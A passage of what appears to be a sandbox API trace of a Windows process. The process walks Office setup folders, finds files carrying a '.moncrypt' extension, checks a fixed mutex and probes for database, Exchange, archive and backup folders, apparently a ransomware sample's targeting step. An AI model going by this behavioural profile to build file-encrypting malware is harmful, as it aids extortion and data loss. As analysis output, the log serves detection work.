lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.129] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.129] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.129] GlobalUnlock (hMem=0x44000c) returned 0 [0048.129] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.129] GlobalLock (hMem=0x440004) returned 0x557870 [0048.129] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.129] GlobalUnlock (hMem=0x44000c) returned 0 [0048.129] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.129] GlobalUnlock (hMem=0x440004) returned 0 [0048.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.129] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0048.129] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.129] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.129] GlobalLock (hMem=0x440004) returned 0x555860 [0048.129] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.129] GlobalUnlock (hMem=0x440004) returned 0 [0048.129] GlobalLock (hMem=0x440004) returned 0x555860 [0048.129] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.129] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.129] GlobalUnlock (hMem=0x440004) returned 0 [0048.129] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.129] GlobalUnlock (hMem=0x44000c) returned 0 [0048.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.130] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1675, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 1 [0048.130] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.130] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.130] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.130] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.130] GlobalUnlock (hMem=0x44000c) returned 0 [0048.130] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.130] GlobalLock (hMem=0x440004) returned 0x557870 [0048.130] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.130] GlobalUnlock (hMem=0x44000c) returned 0 [0048.130] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.130] GlobalUnlock (hMem=0x440004) returned 0 [0048.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.130] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML.moncrypt", cAlternateFileName="OFFICE~2.MON")) returned 1 [0048.130] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.130] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.130] GlobalLock (hMem=0x440004) returned 0x555860 [0048.130] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.130] GlobalUnlock (hMem=0x440004) returned 0 [0048.130] GlobalLock (hMem=0x440004) returned 0x555860 [0048.130] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.130] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.130] GlobalUnlock (hMem=0x440004) returned 0 [0048.130] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.130] GlobalUnlock (hMem=0x44000c) returned 0 [0048.130] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.130] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0048.130] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.130] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.130] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.131] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.131] GlobalUnlock (hMem=0x44000c) returned 0 [0048.131] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.131] GlobalLock (hMem=0x440004) returned 0x557870 [0048.131] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.131] GlobalUnlock (hMem=0x44000c) returned 0 [0048.131] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.131] GlobalUnlock (hMem=0x440004) returned 0 [0048.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.131] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0048.131] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.131] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.131] GlobalLock (hMem=0x440004) returned 0x555860 [0048.131] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.131] GlobalUnlock (hMem=0x440004) returned 0 [0048.131] GlobalLock (hMem=0x440004) returned 0x555860 [0048.131] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.131] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.131] GlobalUnlock (hMem=0x440004) returned 0 [0048.131] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.131] GlobalUnlock (hMem=0x44000c) returned 0 [0048.131] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.131] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0048.131] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.131] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.131] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.131] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.131] GlobalUnlock (hMem=0x44000c) returned 0 [0048.131] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.131] GlobalLock (hMem=0x440004) returned 0x557870 [0048.132] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.132] GlobalUnlock (hMem=0x44000c) returned 0 [0048.132] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.132] GlobalUnlock (hMem=0x440004) returned 0 [0048.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.132] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0048.132] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.132] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.132] GlobalLock (hMem=0x440004) returned 0x555860 [0048.132] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.132] GlobalUnlock (hMem=0x440004) returned 0 [0048.132] GlobalLock (hMem=0x440004) returned 0x555860 [0048.132] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.132] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.132] GlobalUnlock (hMem=0x440004) returned 0 [0048.132] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.132] GlobalUnlock (hMem=0x44000c) returned 0 [0048.132] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.132] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0048.132] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.132] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.132] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.132] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.132] GlobalUnlock (hMem=0x44000c) returned 0 [0048.132] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.132] GlobalLock (hMem=0x440004) returned 0x557870 [0048.132] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.132] GlobalUnlock (hMem=0x44000c) returned 0 [0048.133] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.133] GlobalUnlock (hMem=0x440004) returned 0 [0048.133] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.133] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0048.133] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.133] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.133] GlobalLock (hMem=0x440004) returned 0x555860 [0048.133] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.133] GlobalUnlock (hMem=0x440004) returned 0 [0048.133] GlobalLock (hMem=0x440004) returned 0x555860 [0048.133] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.133] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.133] GlobalUnlock (hMem=0x440004) returned 0 [0048.133] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.133] GlobalUnlock (hMem=0x44000c) returned 0 [0048.133] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.133] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2545, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.133] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.133] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.133] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.133] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.133] GlobalUnlock (hMem=0x44000c) returned 0 [0048.133] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.133] GlobalLock (hMem=0x440004) returned 0x557870 [0048.133] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.133] GlobalUnlock (hMem=0x44000c) returned 0 [0048.133] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.133] GlobalUnlock (hMem=0x440004) returned 0 [0048.133] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.134] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2545, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.134] GetLastError () returned 0x12 [0048.134] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.134] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0048.134] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.134] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.134] GlobalLock (hMem=0x440004) returned 0x555860 [0048.134] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.134] GlobalUnlock (hMem=0x440004) returned 0 [0048.134] GlobalLock (hMem=0x440004) returned 0x555860 [0048.134] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.134] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.134] GlobalUnlock (hMem=0x440004) returned 0 [0048.134] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.134] GlobalUnlock (hMem=0x44000c) returned 0 [0048.134] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.134] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.134] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.134] GlobalUnlock (hMem=0x44000c) returned 0 [0048.134] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.135] GlobalLock (hMem=0x440004) returned 0x557870 [0048.135] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.135] GlobalUnlock (hMem=0x44000c) returned 0 [0048.135] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.135] GlobalUnlock (hMem=0x440004) returned 0 [0048.135] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.135] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", len=0x5e | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned 1 [0048.135] GlobalLock (hMem=0x440004) returned 0x555860 [0048.135] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.135] GlobalUnlock (hMem=0x440004) returned 0 [0048.135] GlobalLock (hMem=0x440004) returned 0x555860 [0048.135] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.135] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.135] GlobalUnlock (hMem=0x440004) returned 0 [0048.135] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.135] GlobalUnlock (hMem=0x44000c) returned 0 [0048.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⌆R⋚R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.136] GetLastError () returned 0x3 [0048.136] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\") returned 0x5f [0048.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@∜R企@\x18䀴Q\x181")) returned 0xffffffff [0048.136] GetLastError () returned 0x2 [0048.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@卜U企@\x18?T\x18;")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@∜R企@\x18卜U\x18j")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@ꠜR企@\x18?T\x18y")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0048.137] GetLastError () returned 0x2 [0048.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="噔U䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0048.138] GetLastError () returned 0x2 [0048.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 